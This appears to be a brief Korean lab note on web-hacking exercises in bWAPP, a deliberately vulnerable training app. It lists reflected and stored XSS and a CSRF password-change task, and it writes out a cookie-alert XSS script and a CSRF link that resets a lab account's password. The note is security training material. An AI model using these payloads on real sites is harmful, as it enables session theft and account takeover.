bWAPP 웹 해킹 실습

1. 반사된 XSS - Redlected(GET)

<script>alert(document.cookie)</script>

 

 

2. 반사된 XSS - Redlected(POST)

값이 body로 넘어감

 

3. 반사된 XSS - Reflected(referer)

4. 저장된 XSS - Stored(blog)

 

 

 

5. 저장된 XSS - Stored(cookie)

 

 

6. CSRF - Change Password

 

 

 

<a href = "http://192.168.137.185/bWAPP/csrf_1.php?password_new=csrf&password_conf=csrf&action=change">password CSRF Change</a>